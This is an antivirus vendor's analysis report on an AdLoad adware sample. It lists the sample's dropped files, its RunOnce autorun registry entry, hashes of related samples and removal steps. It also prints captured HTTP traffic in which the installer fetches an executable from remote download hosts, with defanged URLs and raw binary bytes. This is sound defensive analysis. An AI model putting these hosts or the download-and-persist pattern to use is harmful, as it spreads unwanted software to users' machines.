notavirus.AdWare.Win32.AdLoad.cmzq_cd8fa2b926 – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The not-a-virus creates the following process(es):

%original file name%.exe:224

The not-a-virus injects its code into the following process(es):No processes have been created.

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process %original file name%.exe:224 makes changes in the file system.

The not-a-virus creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp\setup.dll (17312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp\NSISdl.dll (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\b_setup.exe (7304 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp\conf (113 bytes)

The not-a-virus deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp\NSISdl.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp\conf (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp (0 bytes)

Registry activity

The process %original file name%.exe:224 makes changes in the system registry.

The not-a-virus creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "32 34 39 CB 7F 32 B8 7D 34 54 76 E6 58 20 A5 E9"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsq2.tmp\,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

To automatically run itself each time Windows is booted, the not-a-virus adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce]
"KN Launcher v1.404" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\b_setup.exe"

Dropped PE files

MD5	File path
093cdbfc8738ec61f7f44be2c4f4bf26	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\b_setup.exe
21a1832d5342ad9f1fd8f384bdd326b5	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\local.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
%original file name%.exe:224
Delete the original not-a-virus file.
Delete or disinfect the following files created/modified by the not-a-virus:
%Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp\setup.dll (17312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp\NSISdl.dll (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\b_setup.exe (7304 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp\conf (113 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce]
"KN Launcher v1.404" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\b_setup.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	23628	24064	4.46394	856b32eb77dfd6fb67f21d6543272da5
.rdata	28672	4764	5120	3.4982	dc77f8a1e6985a4361c55642680ddb4f
.data	36864	154712	1024	3.3278	7922d4ce117d7d5b3ac2cffe4b0b5e4f
.ndata	192512	45056	0	0	d41d8cd98f00b204e9800998ecf8427e
.rsrc	237568	2536	2560	3.13983	2f680908cecb63b3d2f77e5b6d01b658

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 374
87af60575e95350381303447cd2e0d96
297ea80c532f1e653b6bfad9b0f5bdcb
c64333ff5aa15b72d05f9604fd5b650c
8bc5e8828e0f2dc2bc636874594512d0
15399070593f311505d112b9c4738605
6cad8969964bda9bf93648e4f8d842c4
bf9d2df7b005ab40b413f9eba9589b95
9462c92f54151d6f6faee759d0be457f
dd4634c10a37abc7eee65626c3f19cc7
2470a83a4efffe5d4f7832796432ea53
94f281f53ee0859ab9149c10edc88c92
a7b0dca6353427d531a8ce0b66b26a97
30aed6ed499070bc8e5e51d344c1a95a
8889fd1e4a22e8889acd6cb5f84a09ef
c685088f98412256f79b5543271e05ac
963c31e06f4225bd2429170fd3aff7a9
64c6973d72291eab7854539f30f9f6a1
45b35960177593434ca2b2ca6369937b
4a0d0f8af2e5d8c0e06cbfb912999f6c
4234d117dbf9631d6aedad5885379529
9aaf75732b4fc9ed9eedf9a2be53a5f3
2374b95b6959a23b52ac0cedb91f00ec
34576348082ca0f7ecf90f9c6c915bb2
d7d364e641aee1a451b06864d56071f6
927e35e041ef04c831591c2facfab7ec

Network Activity

URLs

URL	IP
hxxp://pe-wine.club/launch_reb.php?p=sevenzip&pid=1248&tid=3829454&b_typ=pe	46.21.100.248
hxxp://launch.keicraft.net/version.php	198.252.98.64
hxxp://launch.keicraft.net/disallowed.php	198.252.98.64
hxxp://d1gahxamcuu9d3.cloudfront.net/stub_maker.php?program=sevenzip&tid=3829454&pid=1248&b_typ=pe&reb=1&name=&name=Windows Utilities&t=boot
hxxp://tadly.fc-greed.website/stub_maker.php?program=sevenzip&tid=3829454&pid=1248&b_typ=pe&reb=1&name=&name=Windows Utilities&t=boot	54.230.200.248

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /launch_reb.php?p=sevenzip&pid=1248&tid=3829454&b_typ=pe HTTP/1.0

Host: pe-wine.club

User-Agent: NSISDL/1.2 (Mozilla)

Accept: */*

HTTP/1.1 200 OK

Date: Thu, 19 Feb 2015 03:45:36 GMT

Server: Apache/2.2.15 (CentOS)

X-Powered-By: PHP/5.3.3

Content-Length: 113

Connection: close

Content-Type: text/html; charset=UTF-8

s=boot..u=hXXp://tadly.fc-greed.website/stub_maker.php?program=sevenzip&tid=3829454&pid=1248&b_typ=pe&reb=1&name=..

GET /stub_maker.php?program=sevenzip&tid=3829454&pid=1248&b_typ=pe&reb=1&name=&name=Windows Utilities&t=boot HTTP/1.0

Host: tadly.fc-greed.website

User-Agent: NSISDL/1.2 (Mozilla)

Accept: */*

HTTP/1.1 200 OK

Content-Type: application/force-download

Content-Length: 80156

Connection: close

Server: Microsoft-IIS/7.5

X-Powered-By: PHP/5.3.28

Content-Disposition: attachment; filename="54e55c381d2f0.exe"

X-Powered-By: ASP.NET

Date: Thu, 19 Feb 2015 03:44:56 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7b48191d48ad0a2b3616c20acd7fbc1c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: xRTnUgkS9D2z8ACa2VjeJfLEhBzeDYk5t83q-Jr-o3OTO38f50D4Wg==

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i........................PE..L......K.................Z...........0.......p....@..........................................................................s...........@...........................................................................p...............................text....X.......Z.................. ..`.rdata.......p.......^..............@..@.data...x............p..............@....ndata...@...@...........................rsrc....@.......B...t..............@..@........................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H.....>B..H.P.u..u..u...Hr@..B...SV.5.>B..E.WP.u...Lr@..e...E..E.P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h.6B.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i......D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[...U.

<<< skipped >>>

GET /disallowed.php HTTP/1.1

User-Agent: Mozilla/4.76

Host: launch.keicraft.net

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive

HTTP/1.1 200 OK

Date: Thu, 19 Feb 2015 03:45:37 GMT

Server: LiteSpeed

Connection: close

X-Powered-By: PHP/5.3.29

Content-Type: text/html

Content-Length: 70

keiaxx.rushnett.thefluffywalrus.mrsfluffywalrus.viera_zhai.hellwind9o9..

GET /version.php HTTP/1.1

User-Agent: Mozilla/4.76

Host: launch.keicraft.net

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive

HTTP/1.1 200 OK

Date: Thu, 19 Feb 2015 03:45:36 GMT

Server: LiteSpeed

Connection: close

X-Powered-By: PHP/5.3.29

Content-Type: text/html

Content-Length: 369

1.602..An update is available for the KeiNett Launcher (Now Shiginima)!..hXXp://adfoc.us/24689750985770Launcher Website..hXXp://adfoc.us/2468971..#NOTES..Line 1: The current latest version of the launcher...Line 2: Text on the first line of the update notice...Line 3: The update location/url..Line 4: The button underneath logout..Line 5: The link the button goes to..

Map

The not-a-virus connects to the servers at the folowing location(s):

Strings from Dumps

javaw.exe_336:

.text

`.rdata

@.data

.rsrc

/Xusage.txt

-Djava.class.path=%s

Unable to locate JRE meeting specification "%s"

1.6.0_18-b07

JRE-Version = %s, JRE-Restrict-Search = %s Selected = %s

Syntax error in version specification "%s"

Invalid or corrupt jarfile %s

Unable to access jarfile %s

-Djava.awt.headless=

-Djava.awt.headless=true

option[-] = '%s'

ignoreUnrecognized is %s,

sun.jnu.encoding

isSupported

-Dsun.java.command=

-Dsun.java.launcher=SUN_STANDARD

A %c separated list of directories, JAR archives,

load Java programming language agent, see java.lang.instrument

The default VM is %s%s

is a synonym for the "%s" VM [deprecated]

to select the "%s" VM

Usage: %s [-options] class [args...]

(to execute a class)

or %s [-options] -jar jarfile [args...]

(to execute a jar file)

Can't open %s

Could not find the main class: %s. Program will exit.

Failed to load Main Class: %s

Could not find the main class: %s. Program will exit.

argv[-] = '%s'

Apps' argc is %d

Main-Class is '%s'

Warning: %s VM not supported; %s VM will be used

Error: %s VM not supported

Error: Unable to resolve VM alias %s

Error: Corrupt jvm.cfg file; cycle in alias list.

Default VM: %s

%s requires class path specification

%s full version "%s"

Warning: %s option is no longer supported.

-Xrunhprof:cpu=old,file=java.prof

-Xrunhprof:cpu=old,file=%s

%ld micro seconds to parse jvm.cfg

name: %s vmType: %s alias: %s

name: %s vmType: %s server_class: %s

jvm.cfg[%d] = ->%s

Warning: unknown VM type on line %d of `%s'

Warning: missing server class VM on line %d of `%s'

Warning: missing VM alias on line %d of `%s'

Warning: missing VM type on line %d of `%s'

Warning: no leading - on line %d of `%s'

Error: could not open `%s'

\jvm.cfg

\bin\splashscreen.dll

%s\jvm.dll

%s\bin\%s\jvm.dll

Version major.minor.micro = %s.%s

Failed reading value of registry key:

Software\JavaSoft\Java Runtime Environment\%s\JavaHome

Error opening registry key 'Software\JavaSoft\Java Runtime Environment\%s'

Registry key 'Software\JavaSoft\Java Runtime Environment\CurrentVersion'

has value '%s', but '1.6' is required.

Error opening registry key 'Software\JavaSoft\Java Runtime Environment'

-Dsun.java2d.opengl

-Dsun.java2d.d3d

-Dsun.java2d.noddraw

-Dsun.awt.warmup

Unable to resolve path to current %s executable: %s

CreateProcess(%s, ...) failed: %s

ReExec Args: %s

ReExec Command: %s (%s)

ExecJRE: new: %s

ExecJRE: old: %s

Error: could not find java.dll

JRE path is %s

%s\jre\bin\java.dll

%s\bin\java.dll

Error loading: %s

CRT path is %s

\bin\msvcr71.dll

EnsureJreInstallation:%s:load failed

\bin\jkernel.dll

EnsureJreInstallation::not found

EnsureJreInstallation:unsupported platform

Error: can't find JNI interfaces in: %s

JVM path is %s

\bin\awt.dll

\bin\java.dll

\bin\verify.dll

Error: no `%s' JVM at `%s'.

Error: no known VMs. (check for corrupt jvm.cfg file)

before: "%s"

after : "%s"

META-INF/MANIFEST.MF

1.1.3

mscoree.dll

Broken pipe

Inappropriate I/O control operation

Operation not permitted

kernel32.dll

- This application cannot run using the active version of the Microsoft .NET Runtime

Please contact the application's support team for more information.

GetProcessWindowStation

user32.dll

internal state. The program cannot safely continue execution and must

continue execution and must now be terminated.

C:\BUILD_~1\jdk6_18\control\build\WINDOW~1\tmp\java\javaw\obj\javaw.pdb

RegCloseKey

RegOpenKeyExA

RegEnumKeyA

ADVAPI32.dll

USER32.dll

GetCPInfo

KERNEL32.dll

%Program Files%\Java\jre6\bin\javaw.exe

name="javaw.exe"

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

3333333333330

333333333307

PP%d(jjjjj

6.0.180.7

javaw.exe

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps